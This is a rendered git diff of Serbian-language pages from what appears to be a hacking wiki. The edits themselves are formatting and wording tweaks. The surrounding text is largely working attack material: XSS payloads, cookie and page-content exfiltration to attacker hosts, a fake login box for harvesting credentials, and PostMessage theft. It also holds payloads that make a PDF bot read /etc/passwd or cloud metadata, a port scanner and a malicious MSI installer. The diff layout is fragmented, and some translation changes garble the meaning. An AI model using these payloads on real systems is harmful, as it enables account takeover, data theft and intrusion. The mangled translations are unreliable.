Tamo ćete pronaći detaljno **objašnjenje šta su DOM ranjivosti, kako se izazivaju i kako ih iskoristiti**.\
|
||||
Takođe, ne zaboravite da **na kraju pomenutog posta** možete pronaći objašnjenje o [**DOM Clobbering napadima**](dom-xss.md#dom-clobbering).
|
||||
|
||||
### Uključivanje Self-XSS
|
||||
### Unapređenje Self-XSS
|
||||
|
||||
### Cookie XSS
|
||||
|
||||
Ako možete da izazovete XSS slanjem payload-a unutar kolačića, to je obično self-XSS. Međutim, ako pronađete **ranjivi poddomen za XSS**, mogli biste iskoristiti ovaj XSS da injektujete kolačić u celu domenu, uspevajući da izazovete cookie XSS u glavnoj domeni ili drugim poddomenima (onim ranjivim na cookie XSS). Za ovo možete koristiti napad cookie tossing:
|
||||
Ako možete da izazovete XSS slanjem payload-a unutar kolačića, ovo je obično self-XSS. Međutim, ako pronađete **ranjivi poddomen za XSS**, mogli biste iskoristiti ovaj XSS da injektujete kolačić u celu domenu, uspevajući da izazovete cookie XSS u glavnoj domeni ili drugim poddomenima (onim ranjivim na cookie XSS). Za ovo možete koristiti napad cookie tossing:
|
||||
|
||||
{{#ref}}
|
||||
../hacking-with-cookies/cookie-tossing.md
|
||||
{{#endref}}
|
||||
|
||||
Možete pronaći sjajan primer zloupotrebe ove tehnike u [**ovom blog postu**](https://nokline.github.io/bugbounty/2024/06/07/Zoom-ATO.html).
|
||||
Možete pronaći sjajnu zloupotrebu ove tehnike u [**ovom blog postu**](https://nokline.github.io/bugbounty/2024/06/07/Zoom-ATO.html).
|
||||
|
||||
### Slanje vaše sesije administratoru
|
||||
|
||||
Možda korisnik može podeliti svoj profil sa administratorom i ako je self XSS unutar profila korisnika, a administrator mu pristupi, on će izazvati ranjivost.
|
||||
Možda korisnik može podeliti svoj profil sa administratorom i ako je self XSS unutar profila korisnika, a administrator mu pristupi, on će aktivirati ranjivost.
|
||||
|
||||
### Održivost sesije
|
||||
### Odbijanje sesije
|
||||
|
||||
Ako pronađete neki self XSS i web stranica ima **održivost sesije za administratore**, na primer, omogućavajući klijentima da traže pomoć, kako bi administrator mogao da vam pomogne, videće ono što vi vidite u svojoj sesiji, ali iz svoje sesije.
|
||||
Ako pronađete neki self XSS i web stranica ima **odbijanje sesije za administratore**, na primer, omogućavajući klijentima da traže pomoć, kako bi administrator mogao da vam pomogne, videće ono što vi vidite u svojoj sesiji, ali iz svoje sesije.
|
||||
|
||||
Možete naterati **administratora da izazove vaš self XSS** i ukradete njegove kolačiće/sesiju.
|
||||
Možete naterati **administratora da aktivira vaš self XSS** i ukrade njegove kolačiće/sesiju.
|
||||
|
||||
## Drugi Bypasses
|
||||
## Ostali Bypasses
|
||||
|
||||
### Normalizovani Unicode
|
||||
|
||||
@ -794,7 +794,7 @@ Par "Ključ","Vrednost" će biti vraćen ovako:
|
||||
Zatim će biti umetnut onfocus atribut i XSS se dešava.
|
||||
|
||||
### Posebne kombinacije
|
||||
```markup
|
||||
```html
|
||||
<iframe/src="data:text/html,<svg onload=alert(1)>">
|
||||
<input type=image src onerror="prompt(1)">
|
||||
<svg onload=alert(1)//
|
||||
@ -825,7 +825,7 @@ document['default'+'View'][`\u0061lert`](3)
|
||||
```
|
||||
### XSS sa injekcijom zaglavlja u 302 odgovoru
|
||||
|
||||
Ako otkrijete da možete **injektovati zaglavlja u 302 Redirect odgovoru**, možete pokušati da **naterate pregledač da izvrši proizvoljni JavaScript**. Ovo **nije trivijalno** jer moderni pregledači ne interpretiraju telo HTTP odgovora ako je statusni kod HTTP odgovora 302, tako da je samo payload za cross-site scripting beskoristan.
|
||||
Ako otkrijete da možete **injektovati zaglavlja u 302 Redirect odgovoru**, možete pokušati da **naterate pregledač da izvrši proizvoljni JavaScript**. Ovo nije **trivijalno** jer moderni pregledači ne interpretiraju telo HTTP odgovora ako je statusni kod HTTP odgovora 302, tako da je samo payload za cross-site scripting beskoristan.
|
||||
|
||||
U [**ovom izveštaju**](https://www.gremwell.com/firefox-xss-302) i [**ovom**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) možete pročitati kako možete testirati nekoliko protokola unutar Location zaglavlja i videti da li neki od njih omogućava pregledaču da ispita i izvrši XSS payload unutar tela.\
|
||||
Poznati protokoli: `mailto://`, `//x:1/`, `ws://`, `wss://`, _prazno Location zaglavlje_, `resource://`.
|
||||
@ -864,7 +864,7 @@ const char* const kSupportedJavascriptTypes[] = {
|
||||
```
|
||||
### Tipovi skripti za XSS
|
||||
|
||||
(From [**here**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Dakle, koji tipovi bi mogli biti označeni za učitavanje skripte?
|
||||
(From [**here**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Dakle, koji tipovi mogu biti označeni za učitavanje skripte?
|
||||
```html
|
||||
<script type="???"></script>
|
||||
```
|
||||
@ -927,7 +927,7 @@ Ovo ponašanje je korišćeno u [**ovoj analizi**](https://github.com/zwade/yaca
|
||||
- application/rss+xml (isključeno)
|
||||
- application/atom+xml (isključeno)
|
||||
|
||||
U drugim pregledačima drugi **`Content-Types`** mogu se koristiti za izvršavanje proizvoljnog JS, proverite: [https://github.com/BlackFan/content-type-research/blob/master/XSS.md](https://github.com/BlackFan/content-type-research/blob/master/XSS.md)
|
||||
U drugim pregledačima mogu se koristiti drugi **`Content-Types`** za izvršavanje proizvoljnog JS, proverite: [https://github.com/BlackFan/content-type-research/blob/master/XSS.md](https://github.com/BlackFan/content-type-research/blob/master/XSS.md)
|
||||
|
||||
### xml Content Type
|
||||
|
||||
@ -1267,9 +1267,9 @@ Naterajte korisnika da se kreće po stranici bez izlaska iz iframe-a i ukradite
|
||||
<script>navigator.sendBeacon('https://ssrftest.com/x/AAAAA',document.cookie)</script>
|
||||
```
|
||||
> [!NOTE]
|
||||
> Nećete moći da pristupite kolačićima iz JavaScript-a ako je HTTPOnly zastavica postavljena u kolačiću. Ali ovde imate [neke načine da zaobiđete ovu zaštitu](../hacking-with-cookies/index.html#httponly) ako imate sreće.
|
||||
> Nećete moći da pristupite kolačićima iz JavaScript-a ako je HTTPOnly oznaka postavljena u kolačiću. Ali ovde imate [neke načine da zaobiđete ovu zaštitu](../hacking-with-cookies/index.html#httponly) ako imate sreće.
|
||||
|
||||
### Ukradite sadržaj stranice
|
||||
### Ukradi sadržaj stranice
|
||||
```javascript
|
||||
var url = "http://10.10.10.25:8000/vac/a1fbf2d1-7c3f-48d2-b0c3-a205e54e09e8"
|
||||
var attacker = "http://10.10.14.8/exfil"
|
||||
@ -1363,7 +1363,7 @@ _Kratki vremenski intervali ukazuju na port koji odgovara_ _Duži vremenski inte
|
||||
Pogledajte listu portova koji su zabranjeni u Chrome-u [**ovde**](https://src.chromium.org/viewvc/chrome/trunk/src/net/base/net_util.cc) i u Firefox-u [**ovde**](https://www-archive.mozilla.org/projects/netlib/portbanning#portlist).
|
||||
|
||||
### Kutija za traženje kredencijala
|
||||
```markup
|
||||
```html
|
||||
<style>::placeholder { color:white; }</style><script>document.write("<div style='position:absolute;top:100px;left:250px;width:400px;background-color:white;height:230px;padding:15px;border-radius:10px;color:black'><form action='https://example.com/'><p>Your sesion has timed out, please login again:</p><input style='width:100%;' type='text' placeholder='Username' /><input style='width: 100%' type='password' placeholder='Password'/><input type='submit' value='Login'></form><p><i>This login box is presented using XSS as a proof-of-concept</i></p></div>")</script>
|
||||
```
|
||||
### Hvatanje lozinki za automatsko popunjavanje
|
||||
@ -1404,7 +1404,7 @@ changeReq.send('csrf='+token+'&email=test@test.com')
|
||||
</script>
|
||||
```
|
||||
### Krađa PostMessage poruka
|
||||
```markup
|
||||
```html
|
||||
<img src="https://attacker.com/?" id=message>
|
||||
<script>
|
||||
window.onmessage = function(e){
|
||||
@ -1429,10 +1429,10 @@ shadow-dom.md
|
||||
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss_polyglots.txt
|
||||
{{#endref}}
|
||||
|
||||
### Slepi XSS payloadi
|
||||
### Slepe XSS payloads
|
||||
|
||||
Možete takođe koristiti: [https://xsshunter.com/](https://xsshunter.com)
|
||||
```markup
|
||||
```html
|
||||
"><img src='//domain/xss'>
|
||||
"><script src="//domain/xss.js"></script>
|
||||
><a href="javascript:eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">Click Me For An Awesome Time</a>
|
||||
@ -1490,7 +1490,7 @@ console.log(
|
||||
document.all["0"]["ownerDocument"]["defaultView"]["RegExp"]["rightContext"]
|
||||
)
|
||||
```
|
||||
### Brute-Force Lista
|
||||
### Lista Brute-Force
|
||||
|
||||
{{#ref}}
|
||||
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss.txt
|
||||
@ -1532,16 +1532,16 @@ pdf-injection.md
|
||||
|
||||
### XSS u Amp4Email
|
||||
|
||||
AMP, usmeren na ubrzanje performansi web stranica na mobilnim uređajima, uključuje HTML tagove dopunjene JavaScript-om kako bi osigurao funkcionalnost sa naglaskom na brzinu i sigurnost. Podržava niz komponenti za različite funkcije, dostupnih putem [AMP components](https://amp.dev/documentation/components/?format=websites).
|
||||
AMP, usmeren na ubrzanje performansi web stranica na mobilnim uređajima, uključuje HTML tagove dopunjene JavaScript-om kako bi osigurao funkcionalnost sa naglaskom na brzinu i sigurnost. Podržava niz komponenti za različite funkcije, dostupnih putem [AMP komponenti](https://amp.dev/documentation/components/?format=websites).
|
||||
|
||||
Format [**AMP for Email**](https://amp.dev/documentation/guides-and-tutorials/learn/email-spec/amp-email-format/) proširuje specifične AMP komponente na e-poštu, omogućavajući primaocima da interaguju sa sadržajem direktno unutar svojih e-poruka.
|
||||
Format [**AMP za Email**](https://amp.dev/documentation/guides-and-tutorials/learn/email-spec/amp-email-format/) proširuje specifične AMP komponente na emailove, omogućavajući primaocima da interaguju sa sadržajem direktno unutar svojih emailova.
|
||||
|
||||
Primer [**writeup XSS u Amp4Email u Gmail-u**](https://adico.me/post/xss-in-gmail-s-amp4email).
|
||||
|
||||
### XSS učitavanje fajlova (svg)
|
||||
|
||||
Učitajte kao sliku fajl poput sledećeg (sa [http://ghostlulz.com/xss-svg/](http://ghostlulz.com/xss-svg/)):
|
||||
```markup
|
||||
```html
|
||||
Content-Type: multipart/form-data; boundary=---------------------------232181429808
|
||||
Content-Length: 574
|
||||
-----------------------------232181429808
|
||||
@ -1559,13 +1559,13 @@ alert(1);
|
||||
-----------------------------232181429808--
|
||||
```
|
||||
|
||||
```markup
|
||||
```html
|
||||
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
|
||||
<script type="text/javascript">alert("XSS")</script>
|
||||
</svg>
|
||||
```
|
||||
|
||||
```markup
|
||||
```html
|
||||
<?xml version="1.0" standalone="no"?>
|
||||
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
|
||||
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
|
||||
@ -1598,7 +1598,7 @@ id="foo"/>
|
||||
```
|
||||
Pronađite **više SVG payload-a na** [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)
|
||||
|
||||
## Razne JS trikovi i relevantne informacije
|
||||
## Razne JS trikove i relevantne informacije
|
||||
|
||||
{{#ref}}
|
||||
other-js-tricks.md
|
||||
|
@ -21,7 +21,7 @@ Takođe, imajte na umu da ćete u redovnoj eksploataciji biti **u mogućnosti da
|
||||
## Payloads
|
||||
|
||||
### Discovery
|
||||
```markup
|
||||
```html
|
||||
<!-- Basic discovery, Write somthing-->
|
||||
<img src="x" onerror="document.write('test')" />
|
||||
<script>document.write(JSON.stringify(window.location))</script>
|
||||
@ -36,7 +36,7 @@ Takođe, imajte na umu da ćete u redovnoj eksploataciji biti **u mogućnosti da
|
||||
### SVG
|
||||
|
||||
Bilo koji od prethodnih ili sledećih payload-a može se koristiti unutar ovog SVG payload-a. Jedan iframe koji pristupa Burpcollab poddomeni i drugi koji pristupa metadata endpoint-u su dati kao primeri.
|
||||
```markup
|
||||
```html
|
||||
<svg xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1" class="root" width="800" height="500">
|
||||
<g>
|
||||
<foreignObject width="800" height="500">
|
||||
@ -63,7 +63,7 @@ alert(1);
|
||||
Možete pronaći mnogo **drugih SVG payload-a** u [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)
|
||||
|
||||
### Otkrivanje putanje
|
||||
```markup
|
||||
```html
|
||||
<!-- If the bot is accessing a file:// path, you will discover the internal path
|
||||
if not, you will at least have wich path the bot is accessing -->
|
||||
<img src="x" onerror="document.write(window.location)" />
|
||||
@ -72,17 +72,17 @@ if not, you will at least have wich path the bot is accessing -->
|
||||
### Učitajte eksterni skript
|
||||
|
||||
Najbolji način da iskoristite ovu ranjivost je da zloupotrebite ranjivost kako biste naterali bot da učita skript koji lokalno kontrolišete. Tada ćete moći da promenite payload lokalno i naterate bot da ga učita sa istim kodom svaki put.
|
||||
```markup
|
||||
```html
|
||||
<script src="http://attacker.com/myscripts.js"></script>
|
||||
<img src="xasdasdasd" onerror="document.write('<script src="https://attacker.com/test.js"></script>')"/>
|
||||
```
|
||||
### Čitanje lokalne datoteke / SSRF
|
||||
### Čitaj lokalnu datoteku / SSRF
|
||||
|
||||
> [!WARNING]
|
||||
> Promenite `file:///etc/passwd` u `http://169.254.169.254/latest/user-data` na primer da **pokušate da pristupite eksternoj veb stranici (SSRF)**.
|
||||
>
|
||||
> Ako je SSRF dozvoljen, ali **ne možete da dođete** do zanimljive domene ili IP adrese, [proverite ovu stranicu za potencijalne zaobilaženja](../ssrf-server-side-request-forgery/url-format-bypass.md).
|
||||
```markup
|
||||
```html
|
||||
<script>
|
||||
x=new XMLHttpRequest;
|
||||
x.onload=function(){document.write(btoa(this.responseText))};
|
||||
@ -90,7 +90,7 @@ x.open("GET","file:///etc/passwd");x.send();
|
||||
</script>
|
||||
```
|
||||
|
||||
```markup
|
||||
```html
|
||||
<script>
|
||||
xhzeem = new XMLHttpRequest();
|
||||
xhzeem.onload = function(){document.write(this.responseText);}
|
||||
@ -100,7 +100,7 @@ xhzeem.send();
|
||||
</script>
|
||||
```
|
||||
|
||||
```markup
|
||||
```html
|
||||
<iframe src=file:///etc/passwd></iframe>
|
||||
<img src="xasdasdasd" onerror="document.write('<iframe src=file:///etc/passwd></iframe>')"/>
|
||||
<link rel=attachment href="file:///root/secret.txt">
|
||||
@ -112,11 +112,11 @@ xhzeem.send();
|
||||
<meta http-equiv="refresh" content="0;url=file:///etc/passwd" />
|
||||
```
|
||||
|
||||
```markup
|
||||
```html
|
||||
<annotation file="/etc/passwd" content="/etc/passwd" icon="Graph" title="Attached File: /etc/passwd" pos-x="195" />
|
||||
```
|
||||
### Kašnjenje bota
|
||||
```markup
|
||||
```html
|
||||
<!--Make the bot send a ping every 500ms to check how long does the bot wait-->
|
||||
<script>
|
||||
let time = 500;
|
||||
@ -128,8 +128,8 @@ time += 500;
|
||||
</script>
|
||||
<img src="https://attacker.com/delay">
|
||||
```
|
||||
### Skener portova
|
||||
```markup
|
||||
### Port Scan
|
||||
```html
|
||||
<!--Scan local port and receive a ping indicating which ones are found-->
|
||||
<script>
|
||||
const checkPort = (port) => {
|
||||
|
@ -21,10 +21,10 @@ Referrer-Policy: strict-origin
|
||||
Referrer-Policy: strict-origin-when-cross-origin
|
||||
Referrer-Policy: unsafe-url
|
||||
```
|
||||
## Protiv-mitigator
|
||||
## Counter-Mitigation
|
||||
|
||||
Možete prepisati ovo pravilo koristeći HTML meta tag (napadač treba da iskoristi i HTML injekciju):
|
||||
```markup
|
||||
```html
|
||||
<meta name="referrer" content="unsafe-url">
|
||||
<img src="https://attacker.com">
|
||||
```
|
||||
|
@ -7,7 +7,7 @@ Kreiranje MSI instalatera će se obaviti korišćenjem wixtools, posebno će se
|
||||
Za sveobuhvatno razumevanje primera korišćenja wix MSI, preporučuje se da se konsultuje [ova stranica](https://www.codeproject.com/Tips/105638/A-quick-introduction-Create-an-MSI-installer-with). Ovde možete pronaći razne primere koji demonstriraju korišćenje wix MSI.
|
||||
|
||||
Cilj je generisati MSI koji će izvršiti lnk datoteku. Da bi se to postiglo, može se koristiti sledeći XML kod ([xml odavde](https://0xrick.github.io/hack-the-box/ethereal/index.html#Creating-Malicious-msi-and-getting-root)):
|
||||
```markup
|
||||
```html
|
||||
<?xml version="1.0"?>
|
||||
<Wix xmlns="http://schemas.microsoft.com/wix/2006/wi">
|
||||
<Product Id="*" UpgradeCode="12345678-1234-1234-1234-111111111111" Name="Example Product Name"
|
||||
|
Loading…
x
Reference in New Issue
Block a user